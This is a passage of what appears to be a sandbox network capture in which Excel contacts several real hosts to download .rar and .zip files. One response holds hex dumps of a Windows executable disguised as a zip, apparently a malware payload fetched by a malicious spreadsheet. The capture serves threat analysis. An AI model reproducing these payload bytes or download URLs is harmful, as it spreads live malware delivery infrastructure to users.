7f 33 cf 0a 9f 99 e9 b8 ac ff 5d ba 25 2b 56 c3 84 e8 d9 51 1f 00 2b 78 dc f5 bf a4 73 fb 3f 3f e1 ff ff f9 ff fa 91 fc 62 99 96 c3 ef 25 f8 15 c2 ef 5e f8 f5 fd c9 32 3d 03 bf d6 f0 f7 3f e9 78 7e 46 a6 81 22 23 53 9f 83 46 a6 31 1d 46 ff ba fe a3 c5 c8 74 77 44 77 d3 b2 83 ff be f6 9f 9f 7f 68 0c 92 0d f0 83 df 35 70 cc ae a1 58 ff 75 0f be 69 60 0e bf 15 f0 5e 05 bc 27 41 17 7d fd 82 25 e6 87 13 59 8e 15 be 22 2e 66 1c 25 43 17 89 2f c4 8e 1f 90 65 51 3d 85 4b 01 95 b5 2f 0c f8 c6 d2 31 54 cf 40 96 88 87 99 53 c7 37 87 01 6d 82 58 10 ab 03 b3 99 fa 56 71 31 6b 94 93 fa 74 7d 69 d7 3d 22 9d 0d 07 bd 5f 2c f0 a5 a6 74 1b 03 04 15 c6 30 33 1b 26 34 a7 e1 87 0a 9e 06 0b e1 c1 1a 85 26 28 e3 dc 08 41 85 69 39 89 3e b0 aa 4e 33 27 56 d4 ff b9 7d b1 91 d4 3a bb 58 40 7c 16 54 e8 09 f9 18 3b ad 1d 15 8b ee f0 39 44 1d 75 1c d4 d2 55 06 a3 61 73 5b 74 1c db 61 25 a3 33 b9 18 46 04 62 36 7e f0 c4 da 3f c3 33 9c e0 62 36 be 7e 31 03 0d 61 3b eb 60 66 1b a6 4d 3a ac 5a 3a 98 5a 91 31 10 10 d5 d4 f7 cc f0 ff 7d 03 1b 3f 06 05 13 5f 42 a2 ab 3c 4d 75 00 fc 6b a6 0b 2a 3d f5 e0 57 1f 38 36 88 92 70 c7 9a e8 c9 73 cc 92 2c 88 aa a7 be b7 04 a5 ac a7 a6 9c e2 55 66 82 12 b6 f3 cd 84 0f 9c 62 4f 53 41 19 4b 50 65 e9 7c 2b e1 5e 2c 78 fa 50 34 87 4d f5 9d 5a 49 c7 02 d1 1c 63 aa 3e c4 1d 2c 88 98 af ed 09 ed 07 b6 55 2f 20 98 e0 63 a6 44 23 91 91 05 db 12 22 24 4c 59 a8 f7 45 5b 6c 2e 4f 41 1d 02 be 2a 62 51 a3 41 ef 1f b4 af 88 b0 86 3d 4f a5 32 45 85 95 b1 01 f9 5f 1f d8 bf 62 83 89 ff f4 6f 40 50 70 c8 7f f4 b0 79 d7 08 68 8e 79 Data Ascii: 1faaw\/<FBh^DTDDwLv>3>>Dfws3r.@~iTvspwsp`ukV/[zUV-_el5'z%v&&FXWc'78><n4x9>:o1[7+t_0GecPKX4=s3;f16HNM:tk;b2jhCd\wkTt1o:7P`z\|cZcYv%xrQwmwkX]BBgm1+n6u7mvH_[3]%+VQ+xs??b%^2=?x~F"#SF1FtwDwh5pXui`^'A}%Y".f%C/eQ=K/1T@S7mXVq1kt}i="_,t03&4&(Ai9>N3'V}:X@\|T;9DuUas[ta%3Fb6~?3b6~1a;`fM:Z:Z1}?_B<Muk=W86ps,UfbOSAKPe\|+^,xP4MZIc>,U/ cD#"$LYE[l.OAbQA=O2E_bo@Ppyhy
Jan 20, 2021 16:13:28.514591932 CET	1623	IN	Data Raw: 52 eb c3 a2 c0 9e 4a 1a 76 82 8d a0 fd 91 69 81 20 c4 71 82 d3 99 e9 2e 9b be a9 26 ad 9f f6 7e 72 9f da 67 e4 d3 82 5f 3a 17 9f f5 6b 5f dd 79 71 ca 67 ff 55 ab e3 47 74 db 10 3f 9e 06 62 09 10 d3 2a 00 e4 b4 18 28 81 46 03 d0 70 9b 3a 75 4a 66 Data Ascii: RJvi q.&~rg_:k_yqgUGt?b(Fp:uJfdxc~oJ:/0O` `z@%8k6Az!vVpr_WbF%J2S]"9.Vk4_0~&L^<.Vi$X%\|r
Jan 20, 2021 16:13:28.514782906 CET	1624	IN	Data Raw: ab 25 7a db 4f 17 9d d1 9f d3 b1 6a 3e 7a 41 2a 85 5c 25 93 40 fa 10 ab 80 5a 03 39 a8 e2 a9 9b f3 f2 e0 c4 59 47 27 d7 da 9d 8e 1a f2 ac 60 68 7f ea c5 b9 65 23 6f 32 84 a4 84 1c 0a 16 ab 80 cf 48 43 b2 a4 f3 94 cc 70 63 ad 1b 19 f5 68 04 60 38 Data Ascii: %zOj>zA*\%@Z9YG'`he#o2HCpch`8.)MSYvi@Ub\|?_:4(%jV5- g~ZpdUsMy%L1=rrBi}v&iT@$RuQ`H<ii?$vC7p\|N{
Jan 20, 2021 16:13:28.514904022 CET	1626	IN	Data Raw: 0b 04 f6 4a 70 77 ec 40 37 eb 8b 7b dc cf f2 15 69 26 1f 17 b5 29 09 a1 72 e5 e2 0b 0f 38 fb 77 b8 54 b9 55 fa 5b cd dd 0a 51 1e 4a 8f 54 0b f4 6a 11 bf 66 5e b4 52 23 03 1b 9c 8a 86 4e 09 9d 7e 92 eb a2 fb 65 c2 9b 85 47 77 9f ba 93 bd e7 58 c4 Data Ascii: Jpw@7{i&)r8wTU[QJTjf^R#N~eGwXYa^0OGqp(HQ@}eIx$OmRjk\5^b:~*cWWVZr7=G-O(xru~{zA;:l-
Jan 20, 2021 16:13:28.515103102 CET	1627	IN	Data Raw: 34 df 47 c1 8c 0f d8 3a c8 49 15 48 9b 02 5a d8 80 3e 9b 72 3f 45 1f 1b f4 62 53 74 c6 6a 83 1f bb de 85 67 bf c7 4a d5 77 1d 16 dc 0e 40 1d 0f df ac 52 22 81 87 2f 67 1f 98 7c fe 61 39 db ec 61 6d 0f 75 dc c1 39 57 21 9c 92 23 60 83 06 3d a3 9e Data Ascii: 4G:IHZ>r?EbStjgJw@R"/g\|a9amu9W!#`=i_}ofW12=.Y2N&{}2jyF`3['lp04bTE@^`_:Di\|!3KE$gSPm8M+;ASD9Mdf?fBmA
Jan 20, 2021 16:13:28.515306950 CET	1629	IN	Data Raw: 5c b5 56 07 d7 20 2b a5 58 0d f5 67 d8 6f 90 48 a7 64 f9 15 0e 50 b7 00 a5 59 94 69 d9 d4 d4 46 e5 b5 c3 83 ae 5d cb 74 3a 6f 79 ec 42 c4 dd 9f 19 46 fb 87 39 e6 35 1d e1 79 5b d6 c5 6f ac c8 06 79 48 19 57 c3 41 0d b5 fb 05 0d e7 47 ec ef 1d d9 Data Ascii: \V +XgoHdPYiF]t:oyBF95y[oyHWAGndW!-[o@,_G=7kn3}ij3&-esJP0!:O$0ag,(ol+ss"po''VBtd
Jan 20, 2021 16:13:28.515336990 CET	1629	IN	Data Raw: 46 18 4c 42 23 8d 46 aa 1c 52 9a 7d 7f 93 b7 f1 bc 5e 8b c4 97 a6 de 68 73 01 2a 95 06 61 5b 46 e1 91 c0 47 51 33 76 be f5 10 31 e4 50 5b 8e 4f 45 6c c0 12 72 49 73 7f 64 d1 78 0d b4 46 17 27 7f ea d3 85 91 88 4b 41 66 30 da 37 b8 cb 4c 44 1d 5a Data Ascii: FLB#FR}^hs*a[FGQ3v1P[OElrIsdxF'KAf07LDZh?JMkE;F<foP&2c!Jma]C2xvvAvTC/exY#xME!pscYP@`amyQym1~dc}0iE$FBe&
Jan 20, 2021 16:13:28.515480995 CET	1631	IN	Data Raw: 31 66 61 30 0d 0a fd 53 e1 78 21 f5 f3 c0 88 6b 7f 67 1c 2e df 5e fd a9 f1 fd ea 8c ce 5f a3 2c a4 72 9a e1 f1 b4 0c 82 29 38 cc 18 3d 44 02 fc 1b 14 23 77 27 21 d6 2c 43 ac 51 29 43 0c 96 56 22 e3 07 3d 66 eb d1 de ee 26 07 94 21 3a 4f 8a 8a dd Data Ascii: 1fa0Sx!kg.^_,r)8=D#w'!,CQ)CV"=f&!:OO}_W!hy5Z3kOMt;[I+4$y20i`?iUqH~HmCE!wOm2/9TTQ=/mP-W'+\|?L3g}Vw
Jan 20, 2021 16:13:28.515703917 CET	1632	IN	Data Raw: 0f 1f cb 63 8c b9 0a f8 c6 68 31 72 f3 43 60 0e d0 7f 2b e9 2a 57 e7 bf 09 07 bc d3 5e f3 4d 39 17 03 b1 50 0f c7 12 2f 82 a4 5e 95 fe a6 71 22 1c f3 f5 22 aa 70 a8 cc 45 e2 50 39 76 5d e0 1a e1 1a be 20 e2 df 1e a3 38 51 11 e4 1a e8 1a e4 1a ec Data Ascii: ch1rC`+*W^M9P/^q""pEP9v] 8QV`d6L5p5gj\H<?f?6(B3X"`2%sGd$`c#N8j0<h.c_~\'Sp2IXmdK&ax29
Jan 20, 2021 16:13:28.515810013 CET	1633	IN	Data Raw: 8c 88 49 01 a4 88 cc d1 3c ae 12 cd f0 40 62 a5 db df 14 bb 39 fc ac 34 d8 aa 18 77 a1 6d 8b 7d 9e eb a1 32 1f 4d c3 86 a3 b9 41 35 cd 3a ca 1f 31 a3 e3 b2 b5 f2 14 2a 0f f2 3c 20 0d f6 e5 dc 66 fd be 1d e1 7d 5d b1 43 a3 7c 98 74 53 34 48 36 6d Data Ascii: I<@b94wm}2MA5:1*< f}]C\|tS4H6meC?Pta`tD&bNLHoHK=#OKJ'ysPl\)Q2S@Jwyoo{`)+3,pgv97.=}\|B^u_oyo>%}lz
Jan 20, 2021 16:13:28.701200008 CET	1635	IN	Data Raw: ad ce 8f ac 02 6a 64 23 90 ca 10 ce 04 e0 f1 c9 63 d2 7b 2e dc fc 4b 31 81 b7 9f 1e 3e 43 8c 99 24 ee 74 d9 b2 52 39 0a d9 aa 65 5a e6 0a 3b 24 8f f1 3a a0 a5 27 ee 60 33 ed 3c d7 66 e5 2d f5 9f 71 df e8 81 b9 9b 6b e0 d4 c2 cd e9 27 b4 6c 00 32 Data Ascii: jd#c{.K1>C$tR9eZ;$:'`3<f-qk'l2,PA.%kL5qv\xX63taHu8F:b1y]YundaFYfo:eSzu6x-0iBvK&[kYN#*>tmQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49169	85.17.252.207	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 20, 2021 16:13:30.386687040 CET	1663	OUT	GET /uzssv27.rar HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: laureys.be Connection: Keep-Alive
Jan 20, 2021 16:13:30.439138889 CET	1663	IN	HTTP/1.1 302 Found Date: Wed, 20 Jan 2021 15:13:30 GMT Server: Apache Location: http://laureys.be/cgi-sys/suspendedpage.cgi Content-Length: 227 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6c 61 75 72 65 79 73 2e 62 65 2f 63 67 69 2d 73 79 73 2f 73 75 73 70 65 6e 64 65 64 70 61 67 65 2e 63 67 69 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://laureys.be/cgi-sys/suspendedpage.cgi">here</a>.</p></body></html>
Jan 20, 2021 16:13:31.319897890 CET	1664	OUT	GET /cgi-sys/suspendedpage.cgi HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: laureys.be Connection: Keep-Alive
Jan 20, 2021 16:13:31.405452013 CET	1664	IN	HTTP/1.1 200 OK Date: Wed, 20 Jan 2021 15:13:31 GMT Server: Apache Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html
Jan 20, 2021 16:13:31.406274080 CET	1665	IN	Data Raw: 31 64 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e Data Ascii: 1dbe<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Ex
Jan 20, 2021 16:13:31.406305075 CET	1667	IN	Data Raw: 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 65 61 6b 3a 20 62 72 65 61 6b 2d 61 6c 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 Data Ascii: eft; word-break: break-all; width: 100%; } .status-reason { font-size: 200%; display: block; color: #CCCCCC; } .reason-text { margin: 20px
Jan 20, 2021 16:13:31.406321049 CET	1668	IN	Data Raw: 2f 2f 2f 2f 2f 35 2b 66 6e 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 36 2b 76 72 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f Data Ascii: /////5+fn////////////////////////////////6+vr///////////////////////////////////////+i5edTAAAAPXRSTlMAAQECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygoKSorLC0uLzAwMTIzNDU2Nzg5H7x0XAAACndJREFUeAHtXXlzGs8R7TQ3CFkHxpKxhIwtIBwgIuYY4u//uVJ2q
Jan 20, 2021 16:13:31.406338930 CET	1669	IN	Data Raw: 71 4a 47 6e 54 7a 73 56 78 4a 6f 51 77 6d 37 62 50 68 51 37 63 7a 61 35 45 43 47 51 47 70 67 36 54 6e 6a 7a 6d 57 42 62 55 37 74 45 78 6b 68 56 77 33 36 79 7a 33 48 43 6d 30 71 45 76 45 5a 39 43 37 76 44 59 5a 65 57 41 51 68 6e 4b 6b 51 55 47 2f Data Ascii: qJGnTzsVxJoQwm7bPhQ7cza5ECGQGpg6TnjzmWBbU7tExkhVw36yz3HCm0qEvEZ9C7vDYZeWAQhnKkQUG/i7NDnCL/hwbvJr6miPKHTaOE54xpBGrl8RIXKX1bk3+A1aUhHxUte3sHEvNSIp4REdBNONA9NOWYEwuq54AhPex3NaIQLwHIIQlQkPbwsRFpdmdb/hD8TSDCwTBu8W30sSIiS7P9NwZ7CgAeDjlaM9ktAD0+Mxwrs
Jan 20, 2021 16:13:31.406358957 CET	1671	IN	Data Raw: 32 6d 42 4e 36 49 32 35 6e 32 43 54 42 4f 4f 52 45 30 2f 36 47 69 56 6e 39 59 4e 66 38 62 46 42 64 34 52 55 52 46 6c 57 7a 42 76 79 42 45 71 49 69 34 49 39 61 6b 79 2b 32 72 32 39 35 39 37 2f 5a 44 36 32 2b 78 4b 56 66 42 74 4e 4d 36 71 61 48 52 Data Ascii: 2mBN6I25n2CTBOORE0/6GiVn9YNf8bFBd4RURFlWzBvyBEqIi4I9aky+2r29597/ZD62+xKVfBtNM6qaHRG61erXPBOfO6HN7UYlJmuslpWDUTdYab4L2z1v40hPPBvwzqOluTvhDBVB2a4Iyx/4UxLrx8goycW0UEgO4y2L3H+Ul5XI/4voc6rZkA3Bpv3njfS/nhR781E54N6t4OeWxQxuknguJ1S84ARR4RwAqtmaCFZnRiL
Jan 20, 2021 16:13:31.406375885 CET	1672	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 72 65 61 73 6f 6e 2d 74 65 78 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 30 25 3b 0a 20 20 20 20 20 20 20 Data Ascii: } .reason-text { font-size: 160%; } } </style> </head> <body> <div class="container"> <span class="status-reason"> <i class="fas fa-us
Jan 20, 2021 16:13:31.406824112 CET	1672	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49176	64.37.52.138	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 20, 2021 16:14:29.273102045 CET	1775	OUT	GET /by9zwa7p1.zip HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: cms.ivpr.org Connection: Keep-Alive
Jan 20, 2021 16:14:29.931037903 CET	1778	IN	HTTP/1.1 200 OK Date: Wed, 20 Jan 2021 15:14:27 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; X-Frame-Options: SAMEORIGIN Last-Modified: Thu, 14 Jan 2021 04:03:15 GMT Accept-Ranges: bytes Content-Length: 765440 Cache-Control: max-age=2592000 Expires: Fri, 19 Feb 2021 15:14:27 GMT Keep-Alive: timeout=5, max=50 Connection: Keep-Alive Content-Type: application/zip Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 35 51 21 75 54 3f 72 75 54 3f 72 75 54 3f 72 a8 ab f1 72 74 54 3f 72 78 06 e2 72 77 54 3f 72 78 06 e0 72 74 54 3f 72 78 06 df 72 7a 54 3f 72 78 06 de 72 77 54 3f 72 a8 ab f4 72 76 54 3f 72 75 54 3e 72 3c 54 3f 72 78 06 e3 72 74 54 3f 72 78 06 da 72 7a 54 3f 72 78 06 e4 72 74 54 3f 72 78 06 e1 72 74 54 3f 72 52 69 63 68 75 54 3f 72 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 15 df dc 52 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0c 00 00 64 0b 00 00 16 01 00 00 00 00 00 98 6f 0a 00 00 10 00 00 00 80 0b 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 0c 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 60 72 0b 00 4d 00 00 00 5c 71 0c 00 3c 00 00 00 00 80 0c 00 10 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 0c 00 e8 1a 00 00 60 10 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 f4 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 0c 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ad 62 0b 00 00 10 00 00 00 64 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 e8 00 00 00 80 0b 00 00 1a 00 00 00 68 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 20 09 00 00 00 70 0c 00 00 0a 00 00 00 82 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 10 05 00 00 00 80 0c 00 00 06 00 00 00 8c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e8 1a 00 00 00 90 0c 00 00 1c 00 00 00 92 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$15Q!uT?ruT?ruT?rrtT?rxrwT?rxrtT?rxrzT?rxrwT?rrvT?ruT>r<T?rxrtT?rxrzT?rxrtT?rxrtT?rRichuT?rPELR!do@`rM\q<`8(@p\.textbd `.datah@.idata p@@.rsrc@@.reloc@B
Jan 20, 2021 16:14:29.932194948 CET	1779	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: P LQTOh^RQppR
Jan 20, 2021 16:14:29.933161974 CET	1781	IN	Data Raw: ac ef 8f a3 aa 61 a0 ba c6 ff aa ff 00 a7 a4 aa a4 00 00 a5 a6 a1 13 d5 91 e2 6d 0c d7 30 43 33 68 54 95 15 52 5e a4 00 aa a6 a1 aa a1 ff 00 00 00 00 00 ff 00 a6 a6 a7 dd 90 08 1e 55 49 9d 98 b5 2e 83 18 46 d6 46 05 02 57 d4 bb 1b d0 b2 d6 fb 83 Data Ascii: am0C3hTR^UI.FFWdN>2l3`4C"Xr['CHalBN+DsCQ%8tsk-i!
Jan 20, 2021 16:14:29.934058905 CET	1782	IN	Data Raw: 00 fc e2 16 95 c3 81 66 c6 4b a2 2f 23 83 25 2f 22 3a 02 97 b5 d5 e5 9d 62 14 49 8b ed 20 6c 12 36 99 d6 6c 55 bf e3 84 d7 14 52 8a 82 44 72 d7 00 00 00 a7 a9 00 00 00 00 a5 00 00 00 00 00 00 aa 00 ff a6 a7 a6 92 12 17 0c dc b2 24 44 8b 54 24 48 Data Ascii: fK/#%/":bI l6lURDr$DT$HD$@L$(L$,T$0;$cL$LD$du0L$TD$dd0L$\dY_^][T8jh$6dP0SUVW}3P$Dd$\$`393V
Jan 20, 2021 16:14:29.935036898 CET	1784	IN	Data Raw: a5 07 3f b1 b4 6f 91 8a 7e 98 a6 00 ff aa a9 00 00 00 00 a6 00 00 a3 a0 00 00 a0 ff 00 00 00 ff a0 d1 8e 5d 25 76 f6 00 a1 a1 ff 00 ff a9 ff 00 00 a9 a1 a3 00 00 a3 a4 a1 00 ff a6 00 d4 31 1e 42 20 b6 94 43 b1 74 a5 85 0d ee 62 f2 a6 8b 89 a6 6d Data Ascii: ?o~]%v1B Ctbmc@BRYw8#:X>D@5a^-J3cpowY#2@bg1vXe)I.
Jan 20, 2021 16:14:29.936153889 CET	1785	IN	Data Raw: 7d fe 6a 66 ce ca 56 51 34 0a 48 43 99 59 9f 5d 37 b0 ae eb a5 4e aa b6 35 f5 76 1b a2 a0 6c 17 8e 36 8c 7f 6e 11 00 0d d7 b0 a6 ff a1 a1 00 00 a4 a6 00 00 a0 00 00 a6 00 00 00 a3 00 a9 00 a4 00 00 00 a4 00 ff 7e d3 ba ba ea a1 42 f9 1a 6c 77 84 Data Ascii: }jfVQ4HCY]7N5vl6n~BlwsyAqHl*FzRx-K4Jqd{<{>7O#%7yO).M@~sQ/M
Jan 20, 2021 16:14:29.937292099 CET	1786	IN	Data Raw: de 8e 2a 2b 1b 50 59 60 5e 0f f2 c6 af ac 3b 00 00 a2 a4 a0 ff 03 e5 02 c9 4a 89 87 44 f3 4c 15 0a 4f 90 9a 37 51 1b 8d b2 fe 2b 39 f4 e7 d7 2b 53 9e c4 b6 f8 ef 53 a1 22 ac ed 39 b0 2b c7 e6 c1 57 44 bb ff a1 a3 aa 00 aa 00 a6 00 a3 00 aa a0 a7 Data Ascii: +PY`^;JDLO7Q+9+SS"9+WDd[:J@&s8)pv3BI~.SGQ\|C28QeOPn]Cb[ViG_
Jan 20, 2021 16:14:29.938499928 CET	1788	IN	Data Raw: 24 18 e8 23 d3 5b 00 80 7f 01 00 8b 0d ac 60 82 01 88 5c 24 38 74 55 8b 41 4c 6a 00 50 8b 41 48 50 a1 30 6c 83 01 53 53 83 ec 08 8b cc 89 64 24 5c 89 01 e8 f2 d2 5b 00 8b 54 24 34 83 ec 08 8b cc c6 44 24 5c 02 89 64 24 38 89 11 e8 d9 d2 5b 00 8d Data Ascii: $#[`\$8tUALjPAHP0lSSd$\[T$4D$\d$8[D$LP\$`(D$8QL$ T$(RYfS=_IHZene1pL3ga!).0dn(Kg"(1^
Jan 20, 2021 16:14:29.939716101 CET	1789	IN	Data Raw: 00 00 07 e8 f8 cd 5b 00 8b 4c 24 44 e8 ff 99 54 00 8b 4c 24 34 89 74 24 4c 8b 7c 24 38 2b 7c 24 30 2b 4c 24 2c 8b 9c 24 b0 01 00 00 8d 34 7f 89 8c 24 c8 00 00 00 8b 4c 24 44 8d 94 24 bc 01 00 00 03 f6 52 c7 84 24 d8 00 00 00 00 00 00 00 03 f6 89 Data Ascii: [L$DTL$4t$L\|$8+\|$0+L$,$4$L$D$R$$^*4;~}#o+ObAr!"CL'ELp f?>;4DM6{c@5I
Jan 20, 2021 16:14:29.940725088 CET	1791	IN	Data Raw: a7 00 00 a9 00 a9 00 00 00 00 00 00 a3 a7 aa 00 19 89 c6 8f c8 10 aa 3c 2f 07 71 4d 30 01 29 cb 7a 41 fb ff 83 de 74 e8 22 e6 e7 a8 63 6a 03 7f b4 27 3a 2c c6 16 67 f5 29 a4 1c 85 6a ff 00 00 a3 aa a9 a2 a3 a1 a4 a7 00 a2 5b ec f4 bc 57 c4 a6 a6 Data Ascii: </qM0)zAt"cj':,g)j[WT^ #n<[=Aw,Sasw[s;V*l#}QFnOXI=R?+F[PBI&
Jan 20, 2021 16:14:30.101533890 CET	1793	IN	Data Raw: f5 5f da 51 0a 2a f2 da fa 1d 52 fc 77 e8 9c 42 b9 22 b7 6c 47 e1 13 71 c7 00 fa 59 00 00 aa a3 ff ff ff ff 00 a6 a9 a6 00 00 00 00 a4 a7 00 a5 a7 00 31 31 98 ba bd d1 a0 a6 a7 ff a1 00 a1 00 a5 a0 a3 aa ff a7 a2 00 00 ff a2 a4 a9 ff a9 a3 00 00 Data Ascii: _Q*RwB"lGqY11.'-`>Hf].hXg(_aof?[FGf:s}r1sGC^g2DKt/s)rB)Gs/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49181	185.32.190.115	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 20, 2021 16:14:31.949980021 CET	2614	OUT	GET /d8ms3mljy.zip HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: salaodigitalautomovel.pt.deve.pt Connection: Keep-Alive
